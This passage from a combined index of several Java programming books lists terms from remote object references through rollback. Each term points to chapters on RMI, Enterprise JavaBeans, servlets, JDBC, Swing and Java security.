factory classes: 3.4.3. Factory Classes, Java Enterprise in a Nutshell
finding: 4.4. Finding Remote Objects, Java Enterprise in a Nutshell
handle, obtaining through: 7.1.2.2 ProcessPayment: The remote interface, Enterprise JavaBeans
in bean-to-bean interaction: 9.5.1 Why the Bean Class Shouldn't Implement the Remote Interface, Enterprise JavaBeans
to object servers: 1.3.1 Rolling Your Own Distributed Object, Enterprise JavaBeans
objects, copying vs.: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
persistence: 3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
3.6. Remote Object Activation, Java Enterprise in a Nutshell
3.6.1. Persistent Remote References, Java Enterprise in a Nutshell
point-to-point, nonpersistent: 3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
reestablishing with handles: 7.6.6. Handles on Entity Beans, Java Enterprise in a Nutshell
RemoteObject, containing: 3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
RMI architecture: 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
serializable objects vs.: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model, Enterprise JavaBeans
stringified: 4.4.3. Stringified Object References, Java Enterprise in a Nutshell
stubs (server objects): 4.2.2.4. The client and server stubs, Java Enterprise in a Nutshell
RemoteCall interface: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
RemoteDaemonHttpServlet class: 10.3. Chat Server, Java Servlet Programming
remoteEquals( ): D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
RemoteException: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model, Enterprise JavaBeans
3.1.1. RMI in Action, Java Enterprise in a Nutshell
3.2. Defining Remote Objects, Java Enterprise in a Nutshell
7.4.1. Home Interface, Java Enterprise in a Nutshell
7.6.2. Finder Methods, Java Enterprise in a Nutshell
13. The java.rmi Package, Java Enterprise in a Nutshell
13. The java.rmi Package, Java Enterprise in a Nutshell
5.2.4 The Remote Interface, Enterprise JavaBeans
6.1.4 Java RMI Return Types, Parameters, and Exceptions, Enterprise JavaBeans
bean-managed persistence, requirements for: 6.2.1 Making the ShipBean a Bean-Managed Entity, Enterprise JavaBeans
checked sybsystem exceptions, wrapping: 6.2.2 Exception Handling, Enterprise JavaBeans
EJB callback methods, use in: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods, Enterprise JavaBeans
find methods: 6.2.10 ejbFind( ) Methods, Enterprise JavaBeans
stateless session beans: 7.1.2.2 ProcessPayment: The remote interface, Enterprise JavaBeans
remoteHashCode( ): D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
RemoteHttpServlet class: 10.2.5.2. The superclass, Java Servlet Programming
RemoteObject class: 3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
RemoteRef interface: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
RemoteServer class: 3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
3.6.2. Defining an Activatable Remote Object, Java Enterprise in a Nutshell
14. The java.rmi.activation Package, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
RemoteStub class: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
remoteToString( ): D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
remove( ): 7.6.3. Entity Bean Implementation, Java Enterprise in a Nutshell
EJBHome interface: 5.2.3.1 removing beans Removing beans, Enterprise JavaBeans
EJBObject interface: 5.2.5.4 Removing beans, Enterprise JavaBeans
remove methods, transactional attributes required in deployment descriptor: 10.6.1 Specifying a Bean's Transactional Attributes, Enterprise JavaBeans
removeAll( ), Collection interface: 23. The java.util Package, Java in a Nutshell
removeCertificate( ), Identity class: B.1.1.1. Using the identity class, Java Security
B.1.1.3. The Identity class and the security manager, Java Security
RemoveException: 8.6.1.2 Application exceptions, Enterprise JavaBeans
A.1.16 RemoveException, Enterprise JavaBeans
19. The javax.ejb Package, Java Enterprise in a Nutshell
removeHandler( ): 6.6.2. Distributed Events, Java Distributed Computing
removeIdentity( ), IdentityScope class: B.2.1. Using the IdentityScope Class, Java Security
B.2.3. IdentityScope and the Security Manager, Java Security
removeItemListener( ) (ItemSelectable): 9. The java.awt Package, Java Foundation Classes
removeLayoutComponent( ) (LayoutManager): 9. The java.awt Package, Java Foundation Classes
removeMember( ): 9.3.1. Building the Infrastructure with Message Passing, Java Distributed Computing
removeNodeFromParent( ) (DefaultTreeModel): 34. The javax.swing.tree Package, Java Foundation Classes
removePropertyChangeListener( ): 9. The java.beans Package, Java in a Nutshell
9. The java.beans Package, Java in a Nutshell
removeSelectionPaths( ), (DefaultTreeSelectionModel): 34. The javax.swing.tree Package, Java Foundation Classes
removeShutdownHook( ): 12. The java.lang Package, Java in a Nutshell
removeStyle( ) (StyleContext): 30. The javax.swing.text Package, Java Foundation Classes
removeTableModelListener( ) (TableModel): 29. The javax.swing.table Package, Java Foundation Classes
removeUndoableEditListener( ) (UndoableEditSupport): 35. The javax.swing.undo Package, Java Foundation Classes
removeValue( ): 26. The javax.servlet.http Package, Java Enterprise in a Nutshell
7.5.1. Session-Tracking Basics, Java Servlet Programming
removing beans: 3.1.1.2 Overview of state transitions, Enterprise JavaBeans
5.2.3.1 removing beans Removing beans, Enterprise JavaBeans
6.3.3.5 Transitioning from the Ready State to the Pooled state via removal, Enterprise JavaBeans
entity beans, bean-managed persistence: 6.2.9 The ejbRemove( ) Method, Enterprise JavaBeans
stateless session beans: 7.2.2.1 Transitioning to the Method-Ready Pool, Enterprise JavaBeans
removing <BLINK>: 2.5.1. Creating a Servlet Chain, Java Servlet Programming
13.3.1. Improving Deblink with Regular Expressions, Java Servlet Programming
renameTo( ) (File): 11. The java.io Package, Java in a Nutshell
RenderableImage interface: 19. The java.awt.image.renderable Package, Java Foundation Classes
RenderableImageOp class: 19. The java.awt.image.renderable Package, Java Foundation Classes
RenderableImageProducer class: 19. The java.awt.image.renderable Package, Java Foundation Classes
RenderContext class: 19. The java.awt.image.renderable Package, Java Foundation Classes
RenderedImage class: 18. The java.awt.image Package, Java Foundation Classes
RenderedImageFactory interface: 19. The java.awt.image.renderable Package, Java Foundation Classes
Renderer interface: 23. The javax.swing Package, Java Foundation Classes
rendering hints: 9. The java.awt Package, Java Foundation Classes
Java 2D: 4.2 Java 2D Graphics Attributes and Operations, Java Foundation Classes
4.8 Rendering Hints, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
text: 4.9.4 Text-Rendering Hints, Java Foundation Classes
RenderingHints class: 4.8 Rendering Hints, Java Foundation Classes
4.9.4 Text-Rendering Hints, Java Foundation Classes
9. The java.awt Package, Java Foundation Classes
renew( ): C.4.5. renew( ), Java Distributed Computing
RepaintManager class: 23. The javax.swing Package, Java Foundation Classes
Repeatable Read isolation level: 8.3.3 Transaction Isolation Levels, Enterprise JavaBeans
repeatable reads: 8.3.1 Dirty, Repeatable, and Phantom Reads, Enterprise JavaBeans
8.3.1.2 Repeatable reads, Enterprise JavaBeans
transactions: 2.10. Transactions, Java Enterprise in a Nutshell
repetitive tasks, threads for: 4.8. Threads, Java in a Nutshell
replace( ): 12. The java.lang Package, Java in a Nutshell
AbstractUndoableEdit: 35. The javax.swing.undo Package, Java Foundation Classes
StringBuffer class: 12. The java.lang Package, Java in a Nutshell
replaceEdit( )
CompoundEdit class: 35. The javax.swing.undo Package, Java Foundation Classes
UndoableEdit interface: 35. The javax.swing.undo Package, Java Foundation Classes
UndoManager class: 35. The javax.swing.undo Package, Java Foundation Classes
replaceText( ) (TextArea): 9. The java.awt Package, Java Foundation Classes
ReplicateScaleFilter class: 18. The java.awt.image Package, Java Foundation Classes
replication (remote objects): 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
Repository interface (CORBA), Java IDL not supporting: 12. Java IDL Tools, Java Enterprise in a Nutshell
request( ), TopicRequestor interface: 21. The javax.jms Package, Java Enterprise in a Nutshell
Request class: 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
request dispatching (servlets): 5.10.1. Request Dispatching, Java Enterprise in a Nutshell
Request interface: 4.5.1. Dynamic Invocation Interface, Java Enterprise in a Nutshell
request parameters, parsing: 13.1. Parsing Parameters, Java Servlet Programming
request( ) (QueueRequestor): 21. The javax.jms Package, Java Enterprise in a Nutshell
RequestDispatcher interface: 5.10.1. Request Dispatching, Java Enterprise in a Nutshell
25. The javax.servlet Package, Java Enterprise in a Nutshell
requestFocus( ): 3.8.1 Focus Management, Java Foundation Classes
requestFocusEnabled: 3.8.1 Focus Management, Java Foundation Classes
requestPasswordAuthentication( ) (Authenticator): 16. The java.net Package, Java in a Nutshell
16. The java.net Package, Java in a Nutshell
requests (servlets): 5.2.5. Servlet Requests, Java Enterprise in a Nutshell
attributes, setting: 5.10.1. Request Dispatching, Java Enterprise in a Nutshell
Required transaction attribute: 8.2.3 Transaction Attributes Defined, Enterprise JavaBeans
10.6.1 Specifying a Bean's Transactional Attributes, Enterprise JavaBeans
Requires New transaction attribute: 8.2.3 Transaction Attributes Defined, Enterprise JavaBeans
res-auth element: 10.5.5 References to External Resources, Enterprise JavaBeans
res-ref-name element: 6.2.6.1 EJB 1.1: Using JDBC in EJB, Enterprise JavaBeans
10.5.5 References to External Resources, Enterprise JavaBeans
res-type element: 6.2.6.1 EJB 1.1: Using JDBC in EJB, Enterprise JavaBeans
10.5.5 References to External Resources, Enterprise JavaBeans
ResAssignment class (example): 7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
7.2.4. JDBC-Enabled Data Objects, Java Distributed Computing
RescaleOp class: 4.10.6 Processing a BufferedImage, Java Foundation Classes
4.10.6 Processing a BufferedImage, Java Foundation Classes
18. The java.awt.image Package, Java Foundation Classes
reservations, using entity bean for: 7.3.1.5 Why use a Reservation entity bean?, Enterprise JavaBeans
reserved words: 2.3. Identifiers and Reserved Words, Java in a Nutshell
reset( )
ByteArrayOutputStream class: 11. The java.io Package, Java in a Nutshell
BytesMessage: 21. The javax.jms Package, Java Enterprise in a Nutshell
CertificateFactory class: 19. The java.security.cert Package, Java in a Nutshell
CharArrayReader class: 11. The java.io Package, Java in a Nutshell
CharArrayWriter class: 11. The java.io Package, Java in a Nutshell
Checksum interface: 25. The java.util.zip Package, Java in a Nutshell
InputStream class: 11. The java.io Package, Java in a Nutshell
MessageDigest class: 9.1. Using the Message Digest Class, Java Security
17. The java.security Package, Java in a Nutshell
Reader class: 11. The java.io Package, Java in a Nutshell
StringReader class: 11. The java.io Package, Java in a Nutshell
resetSyntax( ): 11. The java.io Package, Java in a Nutshell
resetting message digests: 9.1. Using the Message Digest Class, Java Security
9.3. Implementing a MessageDigest Class, Java Security
resizeBuffer( ): 8.5.1. Streaming Multimedia, Java Distributed Computing
resolve( ) (NamingContext): 35. The org.omg.CosNaming Package, Java Enterprise in a Nutshell
resolveClass( ): 3.4.1.1. Protected methods in the ClassLoader class, Java Security
resolve_initial_references( ) (ORB): 4.1.3. The Naming Service, Java Enterprise in a Nutshell
4.1.3. The Naming Service, Java Enterprise in a Nutshell
4.3. Putting It in the Public Eye, Java Enterprise in a Nutshell
4.4.1. Initial ORB References, Java Enterprise in a Nutshell
30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
Resolver interface: 24. The javax.naming.spi Package, Java Enterprise in a Nutshell
ResolveResult class: 24. The javax.naming.spi Package, Java Enterprise in a Nutshell
resolving classes: 3.2. Anatomy of a Class Loader, Java Security
3.4.1.1. Protected methods in the ClassLoader class, Java Security
resolving object names: B.1. Naming Service, Java Distributed Computing
resource abstraction (servlets): 5.10.3. Resource Abstraction, Java Enterprise in a Nutshell
resource bundles: 12.5.3. Resource Bundles, Java Servlet Programming
resource factories: 10.5.1 Session and Entity Beans, Enterprise JavaBeans
resource management: 3. Resource Management and the Primary Services, Enterprise JavaBeans
bindings, listing: 6.6.3. Listing the Bindings of a Context , Java Enterprise in a Nutshell
database connections, closing: 2.4. Connecting to the Database, Java Enterprise in a Nutshell
dependent classes, use of: 7.1.2.3 Dependent classes: The CreditCard and Check classes, Enterprise JavaBeans
instance pooling: 3.1.1 instance pooling Instance Pooling, Enterprise JavaBeans
3.1.1.3 Instance swapping, Enterprise JavaBeans
listing behavior vs. entity beans: 9.3.2 Resource Consumption, Enterprise JavaBeans
ORBS, lacking support for: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors, Enterprise JavaBeans
servers (EJB), container role in: 7.2.3. The EJB Container, Java Enterprise in a Nutshell
servlets, benefits: 5.1. The Servlet Life Cycle, Java Enterprise in a Nutshell
shared attributes (servlets): 5.10.2. Shared Attributes, Java Enterprise in a Nutshell
resource pooling, container management of EJB: 7.2.3. The EJB Container, Java Enterprise in a Nutshell
resource-ref element: 10.5.1 Session and Entity Beans, Enterprise JavaBeans
declaration for DataSource connection factory: 10.5.5 References to External Resources, Enterprise JavaBeans
ResourceBundle class: 23. The java.util Package, Java in a Nutshell
23. The java.util Package, Java in a Nutshell
resources (see system resources)
resources for further information: C. Security Resources, Java Security
applets: 5. Java Security, Java in a Nutshell
beans: 6. JavaBeans, Java in a Nutshell
enterprise packages: 4.1. Java Platform Overview, Java in a Nutshell
examples in this book: 0.5. Examples Online, Java in a Nutshell
graphics/GUI packages: 4.1. Java Platform Overview, Java in a Nutshell
IDL tool: 8. Java Development Tools, Java in a Nutshell
InfoBus standard extension: 6. JavaBeans, Java in a Nutshell
Java Activation Framework standard extension: 6. JavaBeans, Java in a Nutshell
Java programming
books: 0.3. Related Books, Java in a Nutshell
language: 2. Java Syntax from the Ground Up, Java in a Nutshell
tutorial: 1.3.3. Exceptions, Java in a Nutshell
web sites: 0.4. Java Programming Resources Online, Java in a Nutshell
JavaBeans API event model: 6.1. Bean Basics, Java in a Nutshell
portability certification program (Sun): 7.2. Portability Conventions and Pure Java Rules, Java in a Nutshell
quick reference material, generating: 0.8. How the Quick Reference Is Generated, Java in a Nutshell
RMI tool: 8. Java Development Tools, Java in a Nutshell
security: 5.5.3. Security for System Administrators, Java in a Nutshell
standard extensions: 4.1. Java Platform Overview, Java in a Nutshell
response
body: 5.1. The Structure of a Response, Java Servlet Programming
headers
example: 2.1.1. Requests, Responses, and Headers, Java Servlet Programming
partial table of: 5.6. HTTP Headers, Java Servlet Programming
image: 6.1. Images, Java Servlet Programming
structure: 5.1. The Structure of a Response, Java Servlet Programming
ResponseHandler interface: 33. The org.omg.CORBA.portable Package, Java Enterprise in a Nutshell
restrictions
on anonymous classes: 3.12.2. Restrictions on Anonymous Classes, Java in a Nutshell
on encryption: 13.1. Export Restrictions, Java Security
on local classes: 3.11.2. Restrictions on Local Classes, Java in a Nutshell
on member classes: 3.10.2. Restrictions on Member Classes, Java in a Nutshell
on static member classes: 3.9.2. Restrictions on Static Member Classes, Java in a Nutshell
result sets
deleting rows: 2.13.1. Results Handling, Java Enterprise in a Nutshell
multiple: 2.5.1. Multiple Result Sets, Java Enterprise in a Nutshell
structure, discovering: 2.9. Metadata, Java Enterprise in a Nutshell
results, SQL queries: 2.6. Results, Java Enterprise in a Nutshell
ResultSet class: 7.1.1. Data Retrieval Example, Java Distributed Computing
7.1.2.4. ResultSet, Java Distributed Computing
getAsciiStream( ) method: 9.5.2. Binaries and Books , Java Servlet Programming
getBinaryStream( ) method: 9.5.2. Binaries and Books , Java Servlet Programming
9.5.2. Binaries and Books , Java Servlet Programming
getObject( ) method: 9.2.3. Executing SQL Queries, Java Servlet Programming
getString( ) method: 9.2.3. Executing SQL Queries, Java Servlet Programming
indexes, numbered 1 to n: 9.2.5. Result Sets in Detail, Java Servlet Programming
next( ) method: 9.2.3. Executing SQL Queries, Java Servlet Programming
ResultSet interface: 2.2. JDBC Basics, Java Enterprise in a Nutshell
2.6. Results, Java Enterprise in a Nutshell
18. The java.sql Package, Java Enterprise in a Nutshell
BLOBs and CLOBs: 2.13.4. BLOBs and CLOBs, Java Enterprise in a Nutshell
cursor location (JDBC 2.0): 2.13.1. Results Handling, Java Enterprise in a Nutshell
data types
large, handling: 2.6.2. Large Data Types, Java Enterprise in a Nutshell
JDBC 2.0 vs. 1.0, navigating: 2.6. Results, Java Enterprise in a Nutshell
JDBC 1.0 vs. JDBC 2.0: 2.13.1. Results Handling, Java Enterprise in a Nutshell
result set types, listed: 2.13.1. Results Handling, Java Enterprise in a Nutshell
rows, inserting, deleting, editing data: 2.13.1. Results Handling, Java Enterprise in a Nutshell
scroll-sensitive, updateable: 2.13.1. Results Handling, Java Enterprise in a Nutshell
SQL queries: 2.5. Statements, Java Enterprise in a Nutshell
updating (single table without joins): 2.13.1. Results Handling, Java Enterprise in a Nutshell
ResultSetMetaData class
getColumnCount( ) method: 9.2.5. Result Sets in Detail, Java Servlet Programming
getColumnLabel( ) method: 9.2.5. Result Sets in Detail, Java Servlet Programming
ResultSetMetaData interface: 2.9. Metadata, Java Enterprise in a Nutshell
18. The java.sql Package, Java Enterprise in a Nutshell
database table, contents and data types (example program): 2.9.2. ResultSetMetaData, Java Enterprise in a Nutshell
resume( ): 4.4.2. Distributed ThreadGroups, Java Distributed Computing
resume( ) (Thread): 12. The java.lang Package, Java in a Nutshell
retainAll( ) (Collection): 23. The java.util Package, Java in a Nutshell
Retry-After header: 5.6. HTTP Headers, Java Servlet Programming
return codes (SQL): 8.6. Return Codes, Java Enterprise in a Nutshell
@return doc-comment tag: 7.3.2. Doc-Comment Tags, Java in a Nutshell
7.3.2. Doc-Comment Tags, Java in a Nutshell
return statements: 2.6.13. The return Statement, Java in a Nutshell
return types: 2.5.1.4. Return type, Java in a Nutshell
Java RMI: 6.1.4 Java RMI Return Types, Parameters, and Exceptions, Enterprise JavaBeans
return values: 1.3.2.3. Defining a method, Java in a Nutshell
return values (remote methods): 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
serializable, required: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
returnConnection( ) method: 9.4.3. Connection Pooling, Java Servlet Programming
returning results: 1.3.2.13. Returning the result, Java in a Nutshell
return_value( ) (Request): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
reusing abilities of another servlet: 11.2. Servlet Reuse, Java Servlet Programming
11.2.2. Reusing ChatServlet, Java Servlet Programming
reverse( ) (Collections): 23. The java.util Package, Java in a Nutshell
reverseOrder( ) (Collections): 23. The java.util Package, Java in a Nutshell
revoked certificates: 10.4.5. Revoked Certificates, Java Security
D.2. Package java.security.cert, Java Security
D.2. Package java.security.cert, Java Security
RevokedCertificate class: D.2. Package java.security.cert, Java Security
D.2. Package java.security.cert, Java Security
revokeService( ) (BeanContextServices): 10. The java.beans.beancontext Package, Java in a Nutshell
rewind( ) (DynAny): 30. The org.omg.CORBA Package, Java Enterprise in a Nutshell
rewriting URLs: 7.3. URL Rewriting, Java Servlet Programming
RFC 1630 (about URIs, URLs, and URNs): 4.4.5. Determining What Was Requested, Java Servlet Programming
RFC 1521 (Base64 encoding): 8.1.2. Custom Authorization, Java Servlet Programming
RFC 2278 (charsets): 12.3.1. Charsets, Java Servlet Programming
RFC 2109 (cookie specification): 7.4. Persistent Cookies, Java Servlet Programming
RFC 1867 (file-uploading specification): 4.4.9.3. Receiving files using the input stream, Java Servlet Programming
RFC 2070 (HTML internationalization): 12.6. HTML Forms, Java Servlet Programming
RFC 2279 (UTF-8 character set): 12.4.1. UCS-2 and UTF-8, Java Servlet Programming
RGBImageFilter class: 18. The java.awt.image Package, Java Foundation Classes
RGBtoHSB( ) (Color): 9. The java.awt Package, Java Foundation Classes
Rich Text Format (RTF): 3.21 JTextComponent and HTML Text Display, Java Foundation Classes
33. The javax.swing.text.rtf Package, Java Foundation Classes
right-to-left associativity: 2.5.1.2. Associativity, Java in a Nutshell
RMI: 3.6. Java RMI, Java Distributed Computing
1.3.2. RMI: Remote Method Invocation, Java Enterprise in a Nutshell
3. Remote Method Invocation, Java Enterprise in a Nutshell
activation features, listed: 3.6. Remote Object Activation, Java Enterprise in a Nutshell
activation system: 3.2.1. Key RMI Classes for Remote Object Implementations, Java Enterprise in a Nutshell
14. The java.rmi.activation Package, Java Enterprise in a Nutshell
advantages: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
API: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
architecture: 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
classes
converting to RMI/IIOP: 3.8. RMI over IIOP, Java Enterprise in a Nutshell
loading: 3.5. Dynamically Loaded Classes, Java Enterprise in a Nutshell
client servlets: 13.6. Acting as an RMI Client, Java Servlet Programming
communication: 10.2.5. RMI Communication, Java Servlet Programming
communication styles, remote objects: 3.1.2. RMI Architecture, Java Enterprise in a Nutshell
CORBA distributed object API vs.: 3.7.1. RMI with JNI Versus CORBA, Java Enterprise in a Nutshell
CORBA vs.: 4.1. The CORBA Architecture, Java Enterprise in a Nutshell
disadvantages: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
EJB and: 7. Enterprise JavaBeans, Java Enterprise in a Nutshell
firewall limitations: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
fundamental roles: 7.2. EJB Roles, Java Enterprise in a Nutshell
IIOP: 3.8. RMI over IIOP, Java Enterprise in a Nutshell
interfaces (elements): 3. Remote Method Invocation, Java Enterprise in a Nutshell
JNDI, looking up remote objects: 6. JNDI, Java Enterprise in a Nutshell
JNI vs. CORBA: 3.7.1. RMI with JNI Versus CORBA, Java Enterprise in a Nutshell
language dependence (Java only): 3.1. Introduction to RMI, Java Enterprise in a Nutshell
native method calls: 3.7. RMI and Native Method Calls, Java Enterprise in a Nutshell
no requests or responses: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
object services: 3.1.3. RMI Object Services, Java Enterprise in a Nutshell
objects, accessing from CORBA: 3.8.1. Accessing RMI Objects from CORBA, Java Enterprise in a Nutshell
registry (see RMI registry)
registry server: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
10.2.5.2. The superclass, Java Servlet Programming
10.2.5.2. The superclass, Java Servlet Programming
rmic compiler: 10.2.5.1. The servlet, Java Servlet Programming
10.3.5. The RMI Applet, Java Servlet Programming
servlet feature: 1.3.2. Power, Java Servlet Programming
stub/skeleton layer: 3.4.2. Remote Method Arguments and Return Values, Java Enterprise in a Nutshell
supported by Netscape Navigator only: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
transport layer: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
RMI API
activation daemon: 9. RMI Tools, Java Enterprise in a Nutshell
registry, environment (classpath): 9. RMI Tools, Java Enterprise in a Nutshell
RMI registry: 9. RMI Tools, Java Enterprise in a Nutshell
rmic compiler (see rmic)
serial version utility: 9. RMI Tools, Java Enterprise in a Nutshell
tools: 9. RMI Tools, Java Enterprise in a Nutshell
RMI class loaders: 3.2.3. The RMI Class Loader, Java Security
3.2.6. Choosing the Right Class Loader, Java Security
D.8. Miscellaneous Packages, Java Security
RMI compiler (see rmic)
RMI Naming registry: 3.6.3.1. Registering an activatable object without instantiating, Java Enterprise in a Nutshell
(see also RMI registry)
JNDI, conversion (talking to CORBA Naming Service): 3.8. RMI over IIOP, Java Enterprise in a Nutshell
remote objects, registering: 3.6.3.1. Registering an activatable object without instantiating, Java Enterprise in a Nutshell
rmi protocol (object URLs): 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
RMI registry: 3.1.3.1. Naming/registry service, Java Enterprise in a Nutshell
3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
activatable class, registering: 3.6. Remote Object Activation, Java Enterprise in a Nutshell
classpath, stubs and skeletons: 3.5.1. Configuring Clients and Servers for Remote Class Loading, Java Enterprise in a Nutshell
factory class: 3.4.3. Factory Classes, Java Enterprise in a Nutshell
3.4.3. Factory Classes, Java Enterprise in a Nutshell
naming service: 13. The java.rmi Package, Java Enterprise in a Nutshell
registering remote objects without activation: 3.6. Remote Object Activation, Java Enterprise in a Nutshell
remote objects, looking up: 3.4.1. The Registry and Naming Services, Java Enterprise in a Nutshell
remote objects, registering: 3.1.1. RMI in Action, Java Enterprise in a Nutshell
RMI security manager: 6.3.7.1. The RMI security manager, Java Security
rmic: 9. RMI Tools, Java Enterprise in a Nutshell
Skeleton interface: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
stubs and skeletons: 3.1.1. RMI in Action, Java Enterprise in a Nutshell
3.3. Creating the Stubs and Skeletons, Java Enterprise in a Nutshell
3.2. Defining Remote Objects, Java Enterprise in a Nutshell
updated, RMI/IIOP: 3.8. RMI over IIOP, Java Enterprise in a Nutshell
rmic compiler: 3.6.4. Client Stubs and Server Skeletons, Java Distributed Computing
10.2.5.1. The servlet, Java Servlet Programming
10.3.5. The RMI Applet, Java Servlet Programming
RMIChatClient class (example): 10.1. A Simple Chat System, Java Distributed Computing
RMIChessMove interface (example): 6.7. Using Remote Objects, Java Distributed Computing
RMIChessMoveImpl class (example): 6.7. Using Remote Objects, Java Distributed Computing
RMIChessPlayer interface (example): 6.7. Using Remote Objects, Java Distributed Computing
RMIChessPlayerImpl class (example): 6.7. Using Remote Objects, Java Distributed Computing
RMIClassLoader class: D.3. The java.rmi.server Package, Java Distributed Computing
3.5. Dynamically Loaded Classes, Java Enterprise in a Nutshell
3.5.1. Configuring Clients and Servers for Remote Class Loading, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
3.2.3. The RMI Class Loader, Java Security
3.2.6. Choosing the Right Class Loader, Java Security
D.8. Miscellaneous Packages, Java Security
RMIClientSocketFactory class: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
RMICollaborator interface (example): 9.3.2. Collaborating with RMI, Java Distributed Computing
9.3.2. Collaborating with RMI, Java Distributed Computing
RMICollaboratorImpl class (example): 9.3.2. Collaborating with RMI, Java Distributed Computing
9.3.2. Collaborating with RMI, Java Distributed Computing
10.1. A Simple Chat System, Java Distributed Computing
10.2. A Shared Whiteboard, Java Distributed Computing
rmid command: 9. RMI Tools, Java Enterprise in a Nutshell
RMIDatabaseItem interface (example): 7.2.6.2. Distributed objects from the data server, Java Distributed Computing
RMIFailureHandler class: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
D.3. The java.rmi.server Package, Java Distributed Computing
RMI/IIOP: 3.5. CORBA, Java Distributed Computing
casting, not supporting: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject, Enterprise JavaBeans
problems with firewalls: 11.3 Web Components and EJB, Enterprise JavaBeans
RMI communicating with CORBA remote objects: 3.1. Introduction to RMI, Java Enterprise in a Nutshell
servers, client compatibility with: 7.9.5. Assorted Other Changes, Java Enterprise in a Nutshell
TCP/IP protocol base: 4.1.4. Inter-ORB Communication, Java Enterprise in a Nutshell
tnameserv utility: 3.8. RMI over IIOP, Java Enterprise in a Nutshell
web sites for information: 10.1.3. JDBC, RMI, and a Little CORBA, Java Servlet Programming
RMIMediator interface (example): 9.3.2. Collaborating with RMI, Java Distributed Computing
9.3.2. Collaborating with RMI, Java Distributed Computing
RMIMediatorImpl class (example): 9.3.2. Collaborating with RMI, Java Distributed Computing
10.2. A Shared Whiteboard, Java Distributed Computing
rmiregistry command: 3.6.3. The RMI Registry, Java Distributed Computing
RMISchedDbase interface (example): 7.2.6.2. Distributed objects from the data server, Java Distributed Computing
RMIScheduler class (example): 7.2.6.2. Distributed objects from the data server, Java Distributed Computing
RMISecurityException: D.1. The java.rmi Package, Java Distributed Computing
13. The java.rmi Package, Java Enterprise in a Nutshell
RMISecurityManager class: D.1. The java.rmi Package, Java Distributed Computing
3.5.1. Configuring Clients and Servers for Remote Class Loading, Java Enterprise in a Nutshell
13. The java.rmi Package, Java Enterprise in a Nutshell
13. The java.rmi Package, Java Enterprise in a Nutshell
6.3.7.1. The RMI security manager, Java Security
D.8. Miscellaneous Packages, Java Security
setting for remote class loading: 3.5.1. Configuring Clients and Servers for Remote Class Loading, Java Enterprise in a Nutshell
RMIServerSocketFactory class: 17. The java.rmi.server Package, Java Enterprise in a Nutshell
17. The java.rmi.server Package, Java Enterprise in a Nutshell
RMISocketFactory class: D.3. The java.rmi.server Package, Java Distributed Computing
17. The java.rmi.server Package, Java Enterprise in a Nutshell
RMISolver interface (example): 3.6.7. An RMI Solver, Java Distributed Computing
RmtThreadGroup class (example): 4.4.2. Distributed ThreadGroups, Java Distributed Computing
rogues, fiendish: 8. Security, Java Servlet Programming
role-driven access control: 3.2.6.1 EJB 1.1: Role-driven access control, Enterprise JavaBeans
role-link element: 10.5.6 Security Roles, Enterprise JavaBeans
role-name element: 10.5.6 Security Roles, Enterprise JavaBeans
RoleIdentity class: 6.2.5 EJB 1.0: EJBContext, Enterprise JavaBeans
roll( ): 23. The java.util Package, Java in a Nutshell
rollback( )
2.10. Transactions, Java Enterprise in a Nutshell
8.5.3 UserTransaction, Enterprise JavaBeans
9.4.1. Using Transactions with JDBC, Java Servlet Programming
1.3.8. JTA: Managing Distributed Transactions, Java Enterprise in a Nutshell
7.1.2.3. Statement, Java Distributed Computing
Connection interface: 18. The java.sql Package, Java Enterprise in a Nutshell
EJBContext methods: 8.5.5 EJBContext Rollback Methods, Enterprise JavaBeans
marking transaction for: 8.5.3 UserTransaction, Enterprise JavaBeans
UserTransaction interface: 28. The javax.transaction Package, Java Enterprise in a Nutshell
rollback/commit control in updating databases: 8.2.4 Transaction Propagation , Enterprise JavaBeans
